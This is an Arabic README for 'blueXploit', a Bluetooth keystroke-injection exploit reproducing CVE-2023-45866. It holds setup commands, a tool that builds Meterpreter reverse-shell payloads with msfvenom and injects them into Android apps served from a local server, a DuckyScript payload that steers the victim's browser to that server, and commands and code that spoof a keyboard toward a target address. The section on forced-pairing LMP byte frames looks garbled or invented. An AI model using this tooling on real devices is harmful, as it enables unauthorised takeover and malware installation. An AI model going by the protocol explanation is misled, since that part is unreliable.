
blueXploit — Updated!
استغلال ثغرات بلوتوث الحرجة (CVE-2023-45866, CVE-2024-21306)
blueXploit

- blueXploit هو إثبات مبدأ خاص بي يعيد إنتاج CVE-2023-45866، ثغرة حقن ضغطات المفاتيح عبر البلوتوث التي اكتشفها Marc Newlin. يستغل خللاً في بروتوكول البلوتوث لحقن ضغطات المفاتيح في جهاز الهدف دون اقتران، مما يفتح الباب أمام هجمات أكثر تعقيدًا.
الإسناد. الثغرة والاستغلال الأصلي هما من عمل Marc Newlin (hi_my_name_is_keyboard) — أنا لا أدّعي الاكتشاف. هذا المستودع هو إعادة إنتاج تم بناؤه لفهم وتوثيق الخلل؛ وفوق ذلك، يضيف blueXploit مشغل حمولات بأسلوب DuckyScript، وآلية إعادة اتصال/إعادة محاولة، ومساعدًا اختياريًا لحقن APK في أندرويد. كل شيء هنا للتعليم والبحث فقط.
كيف تعمل الثغرة
هذه الثغرات الحرجة (CVE-2023-45866، CVE-2024-21306) تسمح للمهاجم بحقن ضغطات المفاتيح وقبول طلبات الاقتران دون تأكيد المستخدم. وهذا يؤثر بشكل خطير على أمن أنظمة تشغيل متعددة.
الأنظمة المتأثرة
- أندرويد: 4.2 إلى 14 (11–14 إذا كان تصحيح 2023-12-05 مفقودًا)
- لينكس: يتطلب تصحيحًا لـ BlueZ.
- macOS: 12 إلى 14.2 (إصلاح جزئي).
- iOS: 16 (معرض)، تم إصلاحه في iOS 17.2.
- ويندوز: تم إصلاحه في "Patch Tuesday" لشهر يناير 2024.
التأثير
- تسمح الثغرة بالتحكم عن بُعد في جهاز عن طريق حقن ضغطات المفاتيح حتى دون قبول الاقتران بالبلوتوث، مما يجبر الاتصال وينفذ أوامر المفاتيح.
أمثلة الهجمات
- تنفيذ الأوامر عن بُعد: السيطرة على الأجهزة المعرضة من خلال ضغطات المفاتيح المحقونة، حيث تكون نواقل الهجوم متعددة — من الحصول على شِل إلى تثبيت تطبيقات ضارة.
- هجمات رفض الخدمة (DoS): إغراق الأجهزة بطلبات الاقتران.
التخفيف
- تحديث الأجهزة بأحدث تصحيحات النظام.
- إيقاف تشغيل البلوتوث عند عدم استخدامه (يمنع أي استغلال لهذه الثغرة من العمل).
- تجنب الاقتران مع الأجهزة غير المعروفة.
blueXploit - الاستخدام والعرض التوضيحي
-
استنادًا إلى الاستغلال الأصلي بواسطة Marc Newlin.
-
تثبيت التبعيات
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus apktool metasploit-framework \
keytool openjdk-23-jdk
sudo apt autoremove && sudo apt autoclean
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
استخدام APKPwn + blueXploit
blueXploit يتضمن أدوات لاستغلال الثغرات على أجهزة أندرويد، ويوفر مكونين رئيسيين وبرنامجًا إضافيًا يسمى apkpwn_injector، الموجود في مجلد injector.
ميزات APKPwn
- أتمتة إنشاء حمولات android/meterpreter/reverse_tcp باستخدام msfvenom.
- حقن تلك الحمولات في تطبيقات
.apkموجودة في مجلد apk_clean. - إعداد خادم محلي لخدمة التطبيقات الضارة المُنشأة.
تُمكّن هذه الميزات تدفق هجوم فعال ومبسط في بيئات خاضعة للرقابة أو لاختبار الاختراق.

cd injector
python3 apkpwn_injector.py
إنشاء أو تحرير duckypayload
يتم تحميل أوامر المفاتيح التي ينفذها blueXploit من مجلد /injector/payloads/ بصيغة .txt، مع بناء جملة بسيط وسهل الفهم.
مثال duckypayload
DELAY 200
ESCAPE
GUI d
ALT ESCAPE
GUI b
DELAY 700
REM PRIVATE_BROWSER is equal to CTRL + SHIFT + N
PRIVATE_BROWSER
DELAY 700
CTRL l
DELAY 300
STRING 192.168.0.1
DELAY 800
ENTER
DELAY 300
قم بتغيير عنوان IP إلى العنوان الذي يستضيف فيه الخادم.
اكتشاف الأجهزة وتعدادها
bluetoothctl
مسح أجهزة البلوتوث
scan on
تشغيل
python3 blueXploit.py -i hci0 -t FF:FF:FF:FF:FF:FF
ثم اختر الحمولة المطلوبة والمُعدّة مسبقًا.
العرض التوضيحي
العرض التوضيحي الكامل موجود في هذا الفيديو
الأجهزة المستخدمة
- Raspberry Pi 4
- Kali Linux ARM64
شرح CVE-2023-45866
يتم استغلال هذه الثغرة على مستوى منخفض من بروتوكول البلوتوث، وذلك بشكل أساسي عن طريق التلاعب بملف HID وبروتوكول L2CAP لحقن ضغطات المفاتيح في جهاز الضحية.
1. بروتوكول البلوتوث على مستوى منخفض
تتضمن حزمة البلوتوث عدة طبقات، مثل بروتوكول إدارة الارتباط (LMP)، وواجهة تحكم المضيف (HCI)، وL2CAP. يستخدم هذا الهجوم بشكل رئيسي الطبقتين الأخيرتين:
-
HCI: يتم التلاعب بتكوين المحول بحيث يقدم نفسه كجهاز HID شرعي.
-
L2CAP: المسؤول عن تعدد إرسال البيانات بين الأجهزة، يستخدم L2CAP القناة 17 (التحكم في HID) والقناة 19 (مقاطعة HID) للاتصال بـ HID، والتي يمكن استغلالها لإرسال تسلسلات المفاتيح.
استغلال CVE-2023-45866
CVE-2023-45866 هي ثغرة في بروتوكول إدارة الارتباط (LMP)، يتم استغلالها من خلال هجوم "الاقتران القسري". إليك كيف يتم تنفيذها تقنيًا:
- يدير LMP طلبات الاقتران وتكوين الارتباط.
- يتم إرسال حزم LMP مشوهة أو غير مصادق عليها لفرض الاقتران، مثل:
LMP Pairing Request: 0x01 0x01 0x00 0x00 0x00 0x00 0x00 0x00
في إطار البيانات هذا:
0x01: طلب اقتران LMP0x01: طلب مصادقة LMP (PIN)0x00 0x00 0x00 0x00: معلومات PIN ضعيفة، عادةً 0000
هنا يستغل هذا الاستغلال التكوين والمصادقة المفقودة لهذه الحزمة، مما ينتهي بإرجاع:
LMP Accept: 0x02 0x00 0x00 0x00 0x00
في إطار البيانات هذا:
0x02: طلب اقتران LMP مقبول0x00 0x00 0x00 0x00: معلومات PIN مشوهة تم إرجاعها
إذا لم يتم التحقق من المفتاح بشكل صحيح، يتم إنشاء الاتصال ولكن بدون اقتران حقيقي، لذا يمكن إرسال حزمة LMP اقتران قسري مثل:
LMP Forced Pairing: 0x03 0x01 0x0000
يمكن بعد ذلك فرض المصادقة باستخدام مفاتيح تم تسريبها مسبقًا (مثل "0000") وإنشاء قناة اتصال مشفرة، مما يقرن الأجهزة دون المرور بعملية تحقق مناسبة.
يؤدي هذا إلى إنشاء اقتران دون علم المستخدم، وحتى دون أي نافذة أو إشعار اقتران.
الخلل في هذه CVE هو أن بعض الأجهزة لا تتحقق بشكل صحيح من طلبات مصادقة LMP، أو تنتهي بإعادة استخدام مفاتيح قديمة.
لذا بمجرد الاقتران بالجهاز — بوم! — يصبح الباقي سهلاً: في blueXploit.py يتصرف المحول والجهاز كبيانات تعريفية ويزيفانها. في هذه الحالة، يتم تشغيل أوامر مثل:
hciconfig hci1 name "blueXploit"
hciconfig hci1 class 0x002540 # HID class (keyboard)
كود blueXploit
# configure name and class
log.status("Configuring interface: '%s'" % args.interface )
adapter = Adapter(args.interface)
adapter.set_name("blueXploit")
adapter.set_class(0x002540) # 0x00 unspecified, 0x25 HID device, 0x40 keyboard or mouse
target_name = run(["hcitool", "name", args.target_address]) # gets name
حقن بيانات HID
[?] Attempting to send letter: a
[.] Attempting to send... (<Key_Codes._1: 30>,)
[.] [TX-19] Attempting to send data: a10100001e000000000000
[.] [TX-19] Data sent successfully
شرح إطار بايتات HID:
:a10100001e000000000000
a1: يحدد نوع تقرير HID01: يحدد استخدام واجهة HID للبيانات الواردة00: ضغطة مفتاح أو تحرير مفتاح00 1e 00 00 00 00: القيمة السداسية العشرية، حيث1eتقابل الحرفa
يتم بعد ذلك استلام ACK لتأكيد استلام الإرسال بنجاح.
- يدمج blueXploit آلية إعادة اتصال وإعادة إرسال البيانات للحفاظ على استقرار الاتصال وعدم فقدان البيانات، بحيث إذا حدث قطع، يعيد البرنامج الاتصال ويستمر في إرسال بيانات HID من الموضع/الحرف السابق.
تحذير: هذه المواد والتقنيات الموصوفة في هذا المستودع هي لأغراض تعليمية وبحثية فقط. يجب استخدام أدوات الاختراق والاستغلال فقط على أنظمة لديك إذن صريح لفحصها. الاستخدام غير المصرح به لهذه التقنيات على أنظمة لا تملكها محظور وغير قانوني في العديد من الدول. أي ضرر أو تأثير سلبي ناتج عن الاستخدام غير السليم لهذا المحتوى هو مسؤولية المستخدم وحده.
يُنصح المستخدمون بالعمل في بيئات خاضعة للرقابة، مثل مختبرات الاختبار، والامتثال لجميع القوانين واللوائح المحلية المتعلقة بأمن المعلومات والقرصنة الأخلاقية. happy hacking :D